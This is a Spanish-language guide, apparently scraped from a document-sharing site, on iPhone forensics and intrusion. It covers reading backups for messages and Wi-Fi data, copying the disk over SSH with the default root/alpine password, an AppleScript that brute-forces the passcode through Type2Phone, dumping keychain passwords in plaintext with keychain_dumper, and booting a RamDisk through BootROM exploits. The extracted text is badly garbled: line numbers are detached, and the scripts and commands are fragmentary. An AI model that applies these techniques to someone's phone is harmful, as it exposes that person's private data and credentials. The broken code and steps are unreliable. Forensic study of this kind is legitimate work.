Escolar Documentos
Profissional Documentos
Cultura Documentos
Iphone
Carlos Rebollo
IDICE
Analisis del Backup ..................................................................................... 3
Copia bit a bit a travs de SSH .................................................................. 25
Atacar por fuerza bruta el passcode ......................................................... 32
Como crackear el keychain ....................................................................... 42
Accediendo al Iphone con Ramdisk .......................................................... 52
SISTEMA
OPERATIVO
Windows XP
Windows 7
UBICACIN
C:\Users\[USUARIO]\AppData\Roaming\Apple
Computer\Mobile Sync\Backup\
Mac OS
Users/[USUARIO]/Library/Application Support/Mobile
Sync/Backup
Si accedemos a esta ruta y navegamos por las carpetas veremos solo que hay ficheros
con nombres muy extraos (que son el resultado de un hash) que no nos aclaran nada.
2. Ficheros importantes
Junto a esta cantidad de ficheros ilegibles aparecen 4 ficheros que si se pueden leer.
2.1 Info.plist:
Este fichero contiene multiple informacin sobre el dispositivo: IMEI, nmero de telfono,
nombre del dispositivo, nombre de todas las aplicaciones instaladas y dems
informacin.
Solo con este archivo, hemos obtenido ya mucha informacin clave.
2.2 Manifest.plist:
Este fichero contiene detalles de aplicaciones asi como una referencia a si el terminal
tiene el passcode activado y si el backup tiene cifrado
2.3 Status.plist:
Este fichero contiene informacin relativa al backup: Versin con que ha sido hecho,
fecha de realizacin y si el backup ha sido completo.
2.4 Manifest.mbdb:
Se trata de un fichero binario que contiene informacin sobre el resto de archivos del
backup: tamaos de ficheros, estructura de los datos, hashes SHA-1, etc
Como la informacin es un poco ilegible, vamos a pasar una herramienta creada por
Alejando Ramos (@aramosf) llamada listmanifest.pyque basndose en la estructura del
binario parsea el Manifest y imprime un .csv por pantalla que nos hace ms fcil la
lectura del fichero.
Tras pasar la herramienta, pegar el resultado en el excel y hacer un mnimo tratamiento
de los datos, nos ha quedado la siguiente tabla con informacin:
Mediante un diccionario muy grande con las rutas estndares se pueden retornar los
ficheros al formato original. Otra opcin es parsear el Manifest.mbdb y ya tenemos todas
las rutas
Existen aplicaciones para hacer estas conversiones, pero casi todas las que he probado
me han parecido un poco malas porque no son capaces de hacer la traduccin de todos
los datos con un solo click. Es necesario ir aplicacin por apliacin.
Dentro de los programas que he probado, el que ms me ha gustado ha
sido http://www.icopybot.com/itunes-backup-manager.htm que est slo disponible para
Mac y Windows ( es una lstima que no est para Linux =S ).
Seleccionas las aplicacion que quieras retornar al valor original y la extrae. iOS Files
congrega los ficheros del telfono y del sistema que se guardan en el Backup.
Como se ve en la imgen, es necesario ir aplicacin por aplicacin dando a extraer. Con
mucha paciencia se consigue traducir todo.
Finalmente nos quedan todas las carpetas organizadas y listas para ser abiertas y
tratadas.
Ahora os voy a mostrar las rutas de los ficheros ms interesantes de analizar as como
la estructura de los mismos y algunas aplicaciones para abrirlos.
4. Tipos de ficheros
Los tipos de ficheros que nos encontraremos sern los siguientes:
4.1 Sqlite:
Se trata de un tipo de base de datos que no necesita instalacin previa. En el propio
fichero de la base de datos est contenida toda la informacin.
Os dejo 2 links con ms informacin sobre la estructura interna de sqlite por si queris
echar un vistazo. No lvoy a ponerlo porque se podra hacer un Post entero solo
explicando esto.
http://www.sqlite.org/fileformat.html
http://forensicsfromthesausagefactory.blogspot.com.es/2011/05/analysis-of-recordstructure-within.html
4.2 Plist:
Es un tipo de fichero de propiedades que contiene informacin de aplicaciones y del
propio sistema.
Dejo otro link para ver la estructura interna del fichero.
https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/ma
n5/plist.5.html
5. Aplicaciones parar abrir los ficheros
El primer tipo de aplicaciones que debemos usar es un editor hexadecimal. Un editor
hexadecimal abre absolutamente cualquier fichero y nos lo muestra en bruto. De esta
manera siempre podemos visualizar el contenido del fichero aunque no aparezca de una
forma bonita.
Algunos que he encontrado por la web han sido:
- Es multiplataforma y me ha gustado mucho el diseo que
tiene: http://sourceforge.net/projects/wxhexeditor/
- Windows: http://www.hexedit.com/download.htm
- Mac OS: http://ridiculousfish.com/hexfiend/
- GNU/Linux: http://home.gna.org/bless/downloads.html
No est de ms que a parte de poder leer los datos en bruto tambin los leamos con
aplicaciones especficas para cada cosa, asi lo siguiente que vamos a necesitar es un
lector de sqlite
- El Multiplataforma que ms me ha
gustado: http://sourceforge.net/projects/sqlitebrowser/
- Windows: http://www.softpedia.es/programa-SQLite-Database-Browser-141732.html
- Linux: http://sqliteadmin.orbmu2k.de/
Como ltima aplicacin, no estara mal disponer de un lector especfico para archivos
.plist, ya que apple usa de forma muy habitual estos ficheros para almacenar
informacim
- Windows: http://www.icopybot.com/plist-editor.htm
- Mac OS: http://www.fatcatsoftware.com/plisteditpro/
- GNU/Linux: http://scw.us/iPhone/plutil/
6. Paths importantes
Las Rutas que muestro a continuacin han sido sacadas de un Backup de iOS en la
versin 6.1. Es posible que si se buscan estas mismas rutas en versiones anteriores o
futuras, no coincidan.
6.1 iOS Files
En la Carpeta iOS Files est concentrada la mayora de informacin a analizar.
6.1.1 Contactos
Los contactos son almacenados en una base de datos bicada en: /iOS
Files/Library/AddressBook/AddressBook.sqlitedb
Tambin podemos encontrar las imgenes pertenecientes a los contactos en: /iOS
Files/Library/AddressBook/AddressBookImages.sqlitedb
6.1.3 SMS
Los SMS podemos encontrarlos en: /iOS Files/Library/SMS/sms.db
6.1.4 Notas
Las notas se encuentra ubicadas en: /iOS Files/Library/Notes/notes.db
6.1.5 Fotos
Las fotos son almacenadas en 2 carpetas. La ubicacin donde se almacenan cuando se
hacen es: /iOS Files/Media/DCIM/100APPLE
6.1.6 Wifis
Poedmos ver los Wifis que tiene guardados el telfono mediante la
ruta: /iOSFiles/SystemConfiguration/com.apple.wifi.plist.
Una vez ubicados las principales bases de datos relativas al funcionamiento del telfono
pongo la ruta donde se encuentran aplicaciones que casi todo el mundo usa.
6.2 Whatsapp
La carpeta donde se encuentra la informacin de Whatsapp
es: /net.whatsapp.WhatsApp/
Ms concretamente, el fichero donde encontraremos las conversaciones es el
siguiente:/net.whatsapp.WhatsApp/Documents/ChatStorage.sqlite
6.3 Line
La carpeta donde se encuentra la informacin de Line es: /jp.naver.line/
En concreto, las conversaciones quedan guardadas
en: /jp.naver.line/Documents/talk.sqlite
1.2 OpenSSH
Para poder conectarse al iPhone es necesario que ste, tenga habilitado OpenSSH.
Recordar que el par ususario/contrasea por defecto es: root / alpine.
2. Pasos previos
En mi caso, he realizado las pruebas con un iPhone 4S con versin iOS 6.1.1.
Arrancar:
ssh 127.0.0.1
exit
3. Realizando la copia
3.1 Ping
Vamos a comenzar haciendo ping al iPhone para ver que es alcanzable desde la red wifi.
passwd
<USUARIO>@<IP_DEL_PORTATIL_DESTINO> dd of=<NOMBRE_IMAGEN>.img
El proceso de copiado es bastante largo. En mi caso dur unas 2 horas siendo el iPhone
de 16GB, por lo que si vuestro almacenamiento es superior tendris que tener bastante
paciencia.
1.2 Type2Phone
Es la aplicacin que usaremos de puente entre el teclado del mac y el del iPhone.
Cuesta 4,99
2. Pasos previos
Tal como coment en la parte tercera, he realizado las pruebas con un iPhone 4S en
versin 6.1.1 de iOS.
La ruta que es vulnerable al ataque es: Preferencias -> General -> Bloqueo con cdigo
Tras escribir bastantes combinaciones de cdigos a travs del teclado vemos como la
restriccin de tiempo que se muestra por pantalla NO es efectiva ya que podemos seguir
tecleando.
Sin embargo la restriccin de tiempo SI es real para la entrada por pantalla, ya que nos
nos dejar teclear nada a travs de ella (que no sea el botn cancelar).
3. Fuerza Bruta
Una vez funcionando la prueba de concepto, vamos a automatizar el proceso de
introducir nmeros.
3.1 AppleScript
Crhis Russell ha desarrollado este Script que hace esta funcin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pinCodeDigit1
pinCodeDigit2
pinCodeDigit3
pinCodeDigit4
to
to
to
to
0
0
0
0
on keyStrokeNumber(num)
if (num = 0) then
tell application "System
else if (num = 1) then
tell application "System
else if (num = 2) then
tell application "System
else if (num = 3) then
tell application "System
else if (num = 4) then
tell application "System
else if (num = 5) then
tell application "System
else if (num = 6) then
tell application "System
else if (num = 7) then
tell application "System
else if (num = 8) then
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
= 9) then
= 9) then
= 9) then
to pinCodeDigit1 + 1
to 0
to 0
to 0
to pinCodeDigit2 + 1
to 0
to 0
to pinCodeDigit3 + 1
to 0
to pinCodeDigit4 + 1
to tryPin()
keyStrokeNumber(pinCodeDigit1)
keyStrokeNumber(pinCodeDigit2)
keyStrokeNumber(pinCodeDigit3)
keyStrokeNumber(pinCodeDigit4)
delay 1
end tryPin
try
event ascrgdut
end try
-- main application, simple
tell application "Type2Phone" to activate
repeat 10000 times
tryPin()
incrementPIN()
end repeat
Si leemos el cdigo del Script vemos que primero ejecuta la aplicacin type2phone y
seguidamente introduce directamente a la aplicacin las 10.000 combinaciones posibles
con un delay de 1 segundo entre cada una de ellas. He hecho pruebas bajando
esedelay y con 0.5 segundos el sistema responde bien y tarda la mitad de tiempo. No lo
bajis ms porque en una prueba a 0.1 seg. he tenido que apagar el ordenador de botn
ya que el teclado no responda y no poda parar el Script.
Pegamos el cdigo en AppleScript
Antes de hacer Fuerza bruta sobre el objetivo vamos a ver el resultado de ejecutar el
cdigo sobre el Bloc de Notas:
Delay
Numero de cdigos
Tiempo mximo
10.000
2:46:40 horas
0.5
10.000
1:23:20 horas
0.3
10.000
0:50:00 horas
1.000
0:16:40 horas.
0.5
1.000
0:8:20 horas.
0.3
1.000
0:5:00 horas.
Una vez visto que funciona nos posicionamos en la Ruta Preferencias -> General ->
Bloqueo con cdigo y ejecutamos el Script para comenzar la fuerza brutal.
En la aplicacin type2phone veremos como van pasando todas las combinaciones una a
una.
El mtodo tiene un pequeo problema y es que cuando encuentra el cdigo no nos avisa
ni lo muestra por pantalla; simplemente accederemos a las opciones de cdigo de las
preferencias. Dentro de lo malo, con que sepamos por donde ha caido ms o menos el
passcode podemos hacer un sondeo posterior a mano por los cdigos cercanos.
De esta manera el tiempo que tardaremos en encontrarlo es:
Otra opcin de bsqueda puede ser ejecutar el cdigo haciendo barridos de 1000 en
1000. De esta manera solo tendremos que estar atentos al millar en el que se muestre la
imgen de abajo.
<dict>
<key>keychain-access-groups</key>
<array>
<string>8KM394JM3R.com.getdropbox.DropboxKeychainFamily</string>
</array>
<key>application-identifier</key>
<string>8KM394JM3R.com.getdropbox.Dropbox</string>
<key>aps-environment</key>
<string>production</string>
</dict>
1.4 El ataque
Patrick Tommey ha creado la herramienta Keychain_dumper que es una aplicacin que
ha sido firmada con unafirma de cdigo retocada. En el campo keychain-accessgroups se ha puesto el operador * que hace que se valide contra cualquier keychainaccess-groups que haya.
entitlements.xml
1
2
3
4
5
6
7
8
9
10
2. Requisitos
Los reqisitos que se citan a continuacin son para realizar la parte prctica tal como yo la
he hecho. Se puede usar un ordenador Windows con la aplicacin Putty para subir el
fichero por ftp sin problema.
2.1 Ordenador con GNU/Linux o Mac OS
En mi caso he hecho las pruebas tanto en Kali Linux como con Mac OS porque ambos
disponen de cliente SSH nativo y porque son ms flexibles que Windows.
3. Prctica
3.1 Subir fichero keychain_dumper
Se puede descargar la carpeta con los fuentes y un binario keychain_dumper
desde aqu. Solo es necesario subir el binario; el resto de ficheros vienen por si
queremos realizar nosotros el proceso de firma del cdigo.
Para subir el fichero al iPhone podemos usar el comando de unix scp o un cliente SFTP
(no es ms que un FTP apuntando al puerto 22 de SSH).
En mi caso lo he subido usando scp mediante estos sencillos comandos:
OJO: Si un atacante llega a ver todo esto... la hemos liado pero bien
3.3.1 Claves de correo
Todas las claves de correo quedarn expuestas en texto plano junto con credenciales de
otras pginas web que hayamos guardado.
Como vemos, toda la cadena de firmas nos impide modificar cualquier elemento
intermedio. La comunidad hacker ha conseguido algunos exploits para ciertas versiones
del BootROM que son los que usaremos para flashear el arranque y modificarlo para que
arrnaque nuestra propio RamDisk.
1.3 Modo Recuperacin
Aqu se muestra la secuencia de arranque en modo recuperacin.
No voy a explicar paso a paso las fases ya que no es muy importante, pero tal como se
ve en el esquema, es similar al del arranque normal.
Mac OS X >= 10.6. Como en casos anteriores, he usado un iMac con Mac OS X 10.8.4.
Para coger experiencia usando el terminal vamos a hacer toda la instalacin desde l.
iPhone-dataprotection (Mac OS X) V2
1
cd Downloads
3
4
5
6
7
#Descargamos FUSE for OS X
8
9
curl -O L
http://sourceforge.net/projects/osxfuse/files/osxfuse-2.6.1/osxfuse-2.6.1.dmg
10
11
12
-target /
13
14
15
16
17
18
19
20
21
unzip pcre-8.33.zip
cd pcre-8.33
22
./configure
23
24
cd ..
25
26
27
dependencia de M2crypto
28
curl -O L
29
30
http://sourceforge.net/projects/swig/files/swig/swig-2.0.11/swig-2.0.11.tar.gz
tar -xzvf swig-2.0.11.tar.gz
cd swig-2.0.11
31
32
33
34
./configure
sudo make
sudo make install
cd ..
35
36
37
38
39
40
41
42
43
Descargando iPhone-dataprotection
1
hg clone https://code.google.com/p/iphone-dataprotection/
cd iphone-dataprotection
make -C img3fs/
curl -O -L
https://sites.google.com/a/iphone-dev.com/files/home/redsn0w_mac_0.9.12b2.zip
2
3
unzip redsn0w_mac_0.9.12b2.zip
cp redsn0w.app/Contents/MacOS/Keys.plist Keys.plist
Ahora que tenemos las herramientas y redsn0w solo nos quedar descargar la versin
del firmware de iOS 5.0.0 para nuestro dispositivo desde aquy pegarla en la carpeta de
iPhone-dataprotection.
Pasamos a parchear el kernel y a crear el Ramdisk (aplicaciones forenses para utilizar
en el iPhone) mediante los comandos:
#Parcheamos el kernel
3
4
#Creamos el Ramdisk
sh ./make_ramdisk_n90ap.sh
Para aquellos que no os salga este paso (ya que fnciona para ciertas versiones de
Xcode) desde dragonjar est disponible un repositorio con el kernel parcheado y el
Ramdisk para cada una de las versiones de iPhone. Podis descargarlas desde aqu.
4. Ejecutanto el Ramdisk
Los pasos para ejecutar el Ramdisk son los siguientes:
4.1 Ejecutamos Redsn0w con nuestra imgen.
Vamos a ejecutar Redsn0w con el .iwsp correspondiente a nuestro iPhone, el fichero
kernel_patched y el RamDisk mediante esta instruccin.
ejecutando redsn0w
./redsn0w.app/Contents/MacOS/redsn0w -i iPhone3,1_5.0_9A334_Restore.ipsw
-r myramdisk.dmg -k kernelcache.release.n90.patched
Una vez que entrado el iPhone en modo DFU, lanza los exploits y carga el RamDisk que
le hemos pasado mostrandonos el OK por pantalla.
Ya estamos dentro
4.8 Desconectar
Para desconectarnos y dejar el iPhone tal cual estaba antes, solo tenemos que
desconectar el cable y pulsar el botn de bloqueo ms el home unos segundos.